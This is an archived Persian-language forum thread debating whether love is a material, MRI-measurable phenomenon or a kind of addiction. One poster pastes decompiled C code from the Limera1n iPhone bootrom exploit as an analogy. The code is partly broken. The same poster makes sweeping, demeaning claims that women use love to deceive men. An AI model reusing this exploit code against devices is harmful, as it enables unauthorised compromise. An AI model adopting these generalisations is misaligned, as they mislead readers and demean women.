دفترچه

نسخه‌ی کامل: عشق یعنی..
شما در حال مشاهده نسخه آرشیو هستید. برای مشاهده نسخه کامل کلیک کنید.
صفحات: 1 2 3 4 5 6 7 8
منظورم آزمایش‌پذیری عشق بود، اینکه عشق هیچ چیز عجیب و غریبی ندارد یا به قول برخی خداباوران فرامادی نیست.

MRI scan images highlighting the areas of the brain involved in feeling love:

[ATTACH=CONFIG]3764[/ATTACH]

[ATTACH=CONFIG]3765[/ATTACH]
Alice نوشته: منظورم آزمایش‌پذیری عشق بود، اینکه عشق هیچ چیز عجیب و غریبی ندارد یا به قول برخی خداباوران فرامادی نیست.

MRI scan images highlighting the areas of the brain involved in feeling love:

[ATTACH=CONFIG]3764[/ATTACH]

[ATTACH=CONFIG]3765[/ATTACH]

خب اینکه عشق یه پدیده مادی هست که واضح و مشخصه ، اما اینکه MRI scan بیاد نشون بده کی عاشق هست و کی نیست به نظر علمی نمیرسه !! البته من وبسایتی که این عکس رو منتشر کرده بود رو هم دیدم . گفته بود عکس کسانی که مثلا دوستشون دارن رو بهشون نشون میدن ، چنین مناطقی از مغز فعال میشه... البته تحقیق معتبری که تو یه ژورنال درست و حسابی چاپ شده باشه در این مورد پیدا نکردم !!

د کل عشق به چیزی که مهربد میگه بیشتر شباهت داره :

Falling In Love Affects Brain Much Like Addiction, Scientists Say
Mehrbod نوشته:
دلباختگی: کژخویی در راستای زادآوری

Love: Addiction for the sake of procreation

پارسیگر
Fallacies of definition - WiKi
addicted to what ؟به شخص؟در اعتیاد ما باید "استفاده" داشته باشیم،اگر سکس منظورته که خب میشه اعتیاد به سکس.
باید دقت کنی هر "علاقه ای" ای اعتیاد نیست،اگر کسی مثلا یک شی رو دوست داره و همیشه حملش میکنه بهش "معتاد" نیست،چون اعتیاد علائم دیگه ای هم داره.
به خود عشق؟این که میشه دور.
اعتیادهای رفتاری مثل اعتیاد به خرید،یا اعیتاد به مواد،مثل مواد مخدر ،علائم خاصی داره:
  • loss of willpower
  • harmful consequences
  • unmanageable lifestyle
  • tolerance or escalation of use
  • withdrawal symptoms upon quitting

addiction - definition of addiction in the Medical dictionary - by the Free Online Medical Dictionary, Thesaurus and Encyclopedia.
شاید اینها در موارد خاصی از روابط موجود باشه ولی عشق در تعریف عام لزوما این ویژگی ها رو نداره.بعد اگر عشق "اروتیک" رو اینطور تعریف کردی باید به این نکته هم توجه کنی که سایر انواع دوست داشتن که بهشون عشق میگن"مثل مادر به فرزند" اشتراکات زیادی با عشق اروتیک داره،آیا اونها هم شامل این تعریف میشند؟!

+معادل پارسی اعتیاد رو کژخویی نمیدونم،دو تا معنی داره و کژخویی معنی دومش رو دربر نمیگیره.ببین:
ad·dic·tion
[ ə díksh'n ]
[URL="http://www.bing.com/th?id=ApQ%252bYWkUnuoriXw100x100&pid=Dictionary"]
[/URL]
  • drug dependence: a state of physiological or psychological dependence on a potentially harmful drug
  • devotion: great interest in a particular thing to which a lot of time is devoted
Mehrbod نوشته: پرابلم روشنه, دلدادگی از دیرباز ابزار دست زنان برای فریب مردان بوده و این داستان‌ها و چامه‌سُرایی‌هایِ
پیرامون آن نیز ٩٠% به بالا کس و شعر ناب هستند و
برای گول زدن پسران و مردان جوان که بیاندیشند اگر در زندگی β‌‌یِ خوبی
باشند و در خودرو دست دوست دختر اشان را بنوازشند و این چرت و پرتهای دیگر به خوشی ابدین میرسند
= فریب.

همسنجی زیبایِ آن همان پنداره‌یِ بهشت و حوری است که در اسلام میگسترانند, آخوند‌ها هم خوب میدانند
همچو چیزهای زیبا و قشنگی در کار نیست, ولی پس در چه راستا و به چه آماجی اینها را میگویند و مردم میفریبند؟ زنان نیز همان.
پارسیگر
any scientific proof?
یا باز هم از جمله تئوری های توطئه کسشعر هست؟!:)))
ادبیات و هنری که به عشق پرداخته چقدر توسط "زنان" ساخته و پرداخته شده؟!من نمیدونم چرا این زنان همش توی سایه ها فعالیت میکنند و مدرکی برای توطئه هاشون در دست نیست:))
فرض دومتون هم اینه که زنان به عشق باور ندارند و عاشق نمیشند دیگه؟!درست مثل آخوند ها که باوری به بهشت ندارند؟!(که البته اثبات نکردی که همه آخوندها اینطور هستند)
نقل قول:In one small study, researchers looked at magnetic resonance images of the brains of 10 women and seven men who claimed to be deeply in love. The length of their relationships ranged from one month to less than two years. Participants were shown photographs of their beloved, and photos of a similar-looking person.
خب اگر احیانا به درستی متودولوژیک این شیوه باور دارید گمون میکنم که بدجور این تئوریتون رو خراب میکنه!چون هرچند ما میدونیم "آدم ها" عاشق میشند ولی اگر این چیز بدیهی رو هم نمیپذیرید این آزمایش تائید کننده فرض هست.
Anarchy نوشته: خب اینکه عشق یه پدیده مادی هست که واضح و مشخصه ، اما اینکه MRI scan بیاد نشون بده کی عاشق هست و کی نیست به نظر علمی نمیرسه !! البته من وبسایتی که این عکس رو منتشر کرده بود رو هم دیدم . گفته بود عکس کسانی که مثلا دوستشون دارن رو بهشون نشون میدن ، چنین مناطقی از مغز فعال میشه... البته تحقیق معتبری که تو یه ژورنال درست و حسابی چاپ شده باشه در این مورد پیدا نکردم !!
د کل عشق به چیزی که مهربد میگه بیشتر شباهت داره :
Falling In Love Affects Brain Much Like Addiction, Scientists Say
آنارشی تو از متود مورد نظر آلیس انتقاد میکنی بعد پژوهشی میزاری که همون متود رو داره!؟ :))
نقل قول:The brains of the smitten participants reacted to photos of their sweethearts, producing emotional responses in the same parts of the brain normally involved with motivation and reward.
راهش عکس برداری از مغز هست دیگه،با تله پاتی که نمیفهمند کدوم قسمت مغز تحریک یا فعال شده! :))
undead_knight نوشته: آنارشی تو از متود مورد نظر آلیس انتقاد میکنی بعد پژوهشی میزاری که همون متود رو داره!؟ :))
راهش عکس برداری از مغز هست دیگه،با تله پاتی که نمیفهمند کدوم قسمت مغز تحریک یا فعال شده! :))

اون چیزی که من بهش انتقاد داشتم این بود :

نقل قول: [عکس: quote_icon.png] نوشته اصلی از سوی Alice [عکس: viewpost-left.png]
بدون شک "عشق" را می‌توان در MRI دید

ایراد من دقیقا به این نبود که چرا از MRI استفاده شده ، به اینکه چطور اون چیزی که دیده شده رو کاملا عشق میدونن بود و این نیاز به بررسی خیلی بیشتری داره . مثلا فرض کنید مغز دو تا نوجوون که تازه هورمون هاشون فعال شده و به هم کشش پیدا کردن و بعد از سکس مختصری از هم جدا میشن رو با زوجی که 50 سال زندگی مشترک دارن و میگن عاشق هم هستن رو همزمان بررسی کنن ، نتایج به چه شکلی هست ؟ یا اینکه اگر یه نفر به طور عمدی تظاهر به عشق کنه ، آیا این عمل ارادی در MRI معلوم میشه ؟ و حتی وارونه اش اگر کسی در زمان انجام MRI این جور وانمود کنه که بی تفاوت هست به عکسی که میبینه ، در نتیجه MRI تاثیر گذار هست ؟

چندین و چند حالت دیگه رو هم میشه فرض کرد که هیچ کدوم بررسی نشده ...

تحقیق خیلی محدود و با تعداد نفرات کم انجام شده و تنها چیزی که فهمیدن این بوده که همون مناطقی فعال شده که مثلا در اعتیاد به کوکائین هم فعال میشه E404 ... یعنی میشه به همون اعتیاد رسید اما اینکه عشق خودش یه چیز مجزا و قابل کشف و جدا شدن از مغز باشه ، فکر نمیکنم اثبات شده باشه !!

من بیشتر مایلم بدونم با این منوال میشه مثلا با تزریق یک نوروترانسمیتر یا تحریک بخش خاصی از مغز ، فردی رو عاشق فرد دیگه کرد یا بر عکس عشق بین اونها رو از بین برد ؟
مهربد گفت عشق یعنی کژخویی و سروتین و ...! منم گفتم درسته عشق چیز و عجیب و غریبی که نداره، تو MRI و عکس‌برداری و آزمایشگاه و ...هم می‌تونیم اونو ببینیم. منظورم "آزمایش‌پذیری" بود و اینکه مهربد ما رو گوشکوب فرض کرد که مثلا ما فکر کنیم عشق یعنی موهبت الهی. Various_029

نمی دونستم می خواست دست ما رو رو کنه که ما موجودات پست و پلید از مردها کلاهبرداری و اخاذی می کنیم! Various_018
Anarchy نوشته: اون چیزی که من بهش انتقاد داشتم این بود :
ایراد من دقیقا به این نبود که چرا از MRI استفاده شده ، به اینکه چطور اون چیزی که دیده شده رو کاملا عشق میدونن بود و این نیاز به بررسی خیلی بیشتری داره . مثلا فرض کنید مغز دو تا نوجوون که تازه هورمون هاشون فعال شده و به هم کشش پیدا کردن و بعد از سکس مختصری از هم جدا میشن رو با زوجی که 50 سال زندگی مشترک دارن و میگن عاشق هم هستن رو همزمان بررسی کنن ، نتایج به چه شکلی هست ؟ یا اینکه اگر یه نفر به طور عمدی تظاهر به عشق کنه ، آیا این عمل ارادی در MRI معلوم میشه ؟ و حتی وارونه اش اگر کسی در زمان انجام MRI این جور وانمود کنه که بی تفاوت هست به عکسی که میبینه ، در نتیجه MRI تاثیر گذار هست ؟
چندین و چند حالت دیگه رو هم میشه فرض کرد که هیچ کدوم بررسی نشده ...
تحقیق خیلی محدود و با تعداد نفرات کم انجام شده و تنها چیزی که فهمیدن این بوده که همون مناطقی فعال شده که مثلا در اعتیاد به کوکائین هم فعال میشه E404 ... یعنی میشه به همون اعتیاد رسید اما اینکه عشق خودش یه چیز مجزا و قابل کشف و جدا شدن از مغز باشه ، فکر نمیکنم اثبات شده باشه !!
؟
bravo E011
ایرادهای متودولوژیکش رو به خوبی بیان کردی،خب کاش از اول این کارو میکردی سوتفاهم پیش نیاد:))
نقل قول:من بیشتر مایلم بدونم با این منوال میشه مثلا با تزریق یک نوروترانسمیتر یا تحریک بخش خاصی از مغز ، فردی رو عاشق فرد دیگه کرد یا بر عکس عشق بین اونها رو از بین برد
به نظر من شدنی نیست،حداقل با تکنولوژی فعلی.مسئله فقط "تحریک" نیست،مسئله این هست که تحریک "معلول" عاشق شدنه نه علتش.بنابراین با تحریک کاری نمیشه از پیش برد.
اگر بخوایم به مرحله "کنترل" مغز برسیم باید فرایند نورولوژیک عاشق شدن رو درک کنیم نه نشانه هاش رو.
undead_knight نوشته: Fallacies of definition - WiKi
addicted to what ؟به شخص؟در اعتیاد ما باید "استفاده" داشته باشیم،اگر سکس منظورته که خب میشه اعتیاد به سکس.
باید دقت کنی هر "علاقه ای" ای اعتیاد نیست،اگر کسی مثلا یک شی رو دوست داره و همیشه حملش میکنه بهش "معتاد" نیست،چون اعتیاد علائم دیگه ای هم داره.
به خود عشق؟این که میشه دور.
اعتیادهای رفتاری مثل اعتیاد به خرید،یا اعیتاد به مواد،مثل مواد مخدر ،علائم خاصی داره:
  • loss of willpower
  • harmful consequences
  • unmanageable lifestyle
  • tolerance or escalation of use
  • withdrawal symptoms upon quitting

addiction - definition of addiction in the Medical dictionary - by the Free Online Medical Dictionary, Thesaurus and Encyclopedia.
شاید اینها در موارد خاصی از روابط موجود باشه ولی عشق در تعریف عام لزوما این ویژگی ها رو نداره.بعد اگر عشق "اروتیک" رو اینطور تعریف کردی باید به این نکته هم توجه کنی که سایر انواع دوست داشتن که بهشون عشق میگن"مثل مادر به فرزند" اشتراکات زیادی با عشق اروتیک داره،آیا اونها هم شامل این تعریف میشند؟!


آرَش تو که جای دیگر خود ات دریافته بودی, شکر برای این خوشی‌آور نیست چون شیرین و شکرین است, برای این خوشی‌آوره که مغز آنرا خوشی‌آور می‌یابد.

خوگیری‌ها و کژخویی‌ها از اینرو دو دسته هستند, نرم و سخت. نرم بیشتر همان برنامه‌های درونی برای
فعال‌سازی گذرراه‌هایِ پی‌یاخته‌این (neural pathways) میباشند, سخت نیز دستکاری خود مغز براه ماده‌هایِ شیمیایی و کنشگر‌هایِ آهنکهربایین.

برای دریافت بهتر اینجور ببین که مغز چون رایانه به دو شیوه میتواند دستکاری شود. بگوییم تو یک iPhone داری و میخواهی "قفل" آنرا بشکنی یا jailbreak کنی,
این قفل به دو راه نرم‌افزار و سخت‌افزار میتواند شکسته شود. شکستن نرم‌افزاریک آن میشود فعال‌سازی گذرراه‌هایی که در کُد خود برنامه‌ آمده‌اند, برای نمونه apple یک روتین/روال آنجا گذاشته به این نام:
کد:
decryptAndUnlock()

که این را یک هکر میتواند هوشمندانه یافته و بهره‌کشیده (exploits) و آنرا دستی فرابخواند, که در فرهود روال کار کنونی همین است:

کد:
http://theiphonewiki.com/wiki/Limera1n_Exploit

signed int __cdecl upload_exploit() {
    int device_type;
    signed int payload_address;
    int free_address;
    int deviceerror;
    char *chunk_headers_ptr;
    unsigned int sent_counter;
    //int v6;
    signed int result;
    //signed int v8;
    int recv_error_code;
    signed int payload_address2;
    signed int padding_size;
    char payload;
    char chunk_headers;
    //int v14;
    //v14 = *MK_FP(__GS__, 20);
    device_type = *(_DWORD *)(device + 16);

    if ( device_type == 8930 ) {
        padding_size = 0x2A800;
        payload_address = 0x8402B001;
        free_address = 0x8403BF9C;
    } else {
        payload_address = 0x84023001;
        padding_size = 0x22800;
        // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
        if(device_type == 8920) free_address = 0x84033FA4;
           else free_address = 84033F98;
    }

    memset(&payload, 0, 0x800);
    memcpy(&payload, exploit, 0x230);

    if (libpois0n_debug) {
        //v8 = payload_address;
        fprintf(stderr, 1, "Resetting device counters\n");
        //payload_address = v8;
    }

    payload_address2 = payload_address;
    deviceerror = irecv_reset_counters(client);

    if ( deviceerror ) {
        irecv_strerror(deviceerror);
        fprintf(stderr, 1, &aCannotFindS[12]);
        result = -1;
    } else {
        memset(&chunk_headers, 0xCC, 0x800);
        chunk_headers_ptr = &chunk_headers;

        do {
            *(_DWORD *)chunk_headers_ptr = 1029;      
            *((_DWORD *)chunk_headers_ptr + 1) = 257;
            *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  
            *((_DWORD *)chunk_headers_ptr + 3) = free_address;
            chunk_headers_ptr += 64;
        } while ((int *)chunk_headers_ptr != &v14);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending chunk headers\n");

        sent_counter = 0;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        memset(&chunk_headers, 0xCC, 0x800);

        do {
            sent_counter += 0x800;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        } while (sent_counter < padding_size);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending exploit payload\n");

        irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending fake data\n");

        memset(&chunk_headers, 0xBB, 0x800);
        irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);

        if (libpois0n_debug)
        fprintf(stderr, 1, "Executing exploit\n");

        irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
        irecv_reset(client);
        irecv_finish_transfer(client);

        if (libpois0n_debug) {
            fprintf(stderr, 1, "Exploit sent\n");
            if (libpois0n_debug)
                fprintf(stderr, 1, "Reconnecting to device\n");
        }

        client = (void *)irecv_reconnect(client, 2);

        if (client) {
            result = 0;
        } else {
            if (libpois0n_debug) {
                recv_error_code = irecv_strerror(0);
                fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
            }
            fprintf(stderr, 1, "Unable to reconnect\n");
            result = -1;
        }
    }

    // compiler stack check
    //if (*MK_FP(__GS__, 20) != v14)
    //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

    return result;
}

راه دیگر و سخت‌تر, راه سخت‌افزاریک است. این روتین "decryptAndUnlock" زمانیکه فراخوانده میشود در فربود چه میکند؟ الکترون‌ها را به
گذرراه‌هایِ سخت‌افزاریک (روی مادربُرد) میفرستد که از اندرکنش این ریزگان پیامبر و پیامگیر کنش و بازکنش‌هایی در تراز نرم‌افزاریک
رخ‌میدهند که ما آنرا "شکستن قفل" می‌نامیم (برنامه‌‌یِ قفل به پس‌زمینه میافتد و بهمان برنامه‌یِ کنترل روان میشود).


پس با برگشت به پُرسمان, دلباختگی چگونه کژخویی‌ای است؟ دلباختگی در دسته‌یِ روانیک/نرم‌افزاریک مغز جای میگیرد.
مغز میتواند ازراه بازشناسی و فرمولویزه‌یِ الگو‌هایِ چهره, بوی تن, سدا و .. یک مُدل یادین (mental model) از دوستگان
بسازد که در فرهود خود یک روتین فرگشته است و کارکرد آن نیز در راستای پایبندانی زن و مرد به یکدیگر و آوردن بچه است. به دیگر سخن:
کژخویی در راستای زادآوری


کُدنُمای آن را همچو چیزی ببین:
کد:
IF (face() + sound() + ...) matches Dustgân THEN intenseGratification()

intenseGratification()
{
    release_norepinephrine()
    release_serotonin()
    ...
}




undead_knight نوشته: +معادل پارسی اعتیاد رو کژخویی نمیدونم،دو تا معنی داره و کژخویی معنی دومش رو دربر نمیگیره.ببین:
ad·dic·tion
[ ə díksh'n ]
[URL="http://www.bing.com/th?id=ApQ%252bYWkUnuoriXw100x100&pid=Dictionary"]
[/URL]
  • drug dependence: a state of physiological or psychological dependence on a potentially harmful drug
  • devotion: great interest in a particular thing to which a lot of time is devoted

خوگیری = عادت کردن
کژخویی = اعتیاد پیدا کردن
دُژخو = بداخلاق
کژخو = معتاد
خوگرفته = عادت کرده
...


پارسیگر
Alice نوشته: مهربد گفت عشق یعنی کژخویی و سروتین و ...! منم گفتم درسته عشق چیز و عجیب و غریبی که نداره، تو MRI و عکس‌برداری و آزمایشگاه و ...هم می‌تونیم اونو ببینیم. منظورم "آزمایش‌پذیری" بود و اینکه مهربد ما رو گوشکوب فرض کرد که مثلا ما فکر کنیم عشق یعنی موهبت الهی. Various_029

نمی دونستم می خواست دست ما رو رو کنه که ما موجودات پست و پلید از مردها کلاهبرداری و اخاذی می کنیم! Various_018

هـِه, به این هم میرسیم.

پیشانگاشت‌هایِ من بسیار ساده هستند:
a- یافتن دوستگان برای زن بی اندازه آسان است (برای مرد بی اندازه سخت)
b- بیشترینه‌یِ مردان میتوانند بآسانی و بی کوچکترین نیازی به دلباختن و عاشق شدن, از سکس خوشی ببرند, بیشترینه‌یِ زنان نمیتوانند (رخکرد فرگشتیک)
c- از نگاه فرگشتیک, این مرد است که باید به زن مهر بورزد و بماند تا بچه بزرگ شود, زن باید بیشتر از همه به فرزند مهر بورزد (نایسکنجی دلباختگی مرد دربرابر زن)

پس از آنجاییکه بروشنی میبینیم بیشترینه‌یِ سود دلباختگی به زنان میرسد (زن بی نبود عشق ناتوان از خوشی بردنِ سکس است) و همچنین
با نگرش به a چیزیکه ارزان (برای زن) به دست بیاید ارزش ندارد (برای مرد یافتن یک دوستگان کاری است بس سخت و دردسر آمیز و باید به هزار
و دو فند سازوبرگیده باشد, ولی برای زن بیشمار مرد هستند که آن بیرون موس موس میکنند), و سرانجام اینکه فرگشت‌وار دلباختگی بیشترین
کارکرد را در مهارسازی مردان دارد که سود آنها میتواند همراستای زن نبوده و راهبردی "بکن دررو" داشته باشند, با نگرش به همه‌یِ اینها
میبینیم این همه کوس و کرنایی که در ستایش «دلدادگی» میبینیم از زنان ریشه‌میگیرید و برای سود ایشان است و همان مغزشوییِ پسران و مردان جوان.



پارسیگر
صفحات: 1 2 3 4 5 6 7 8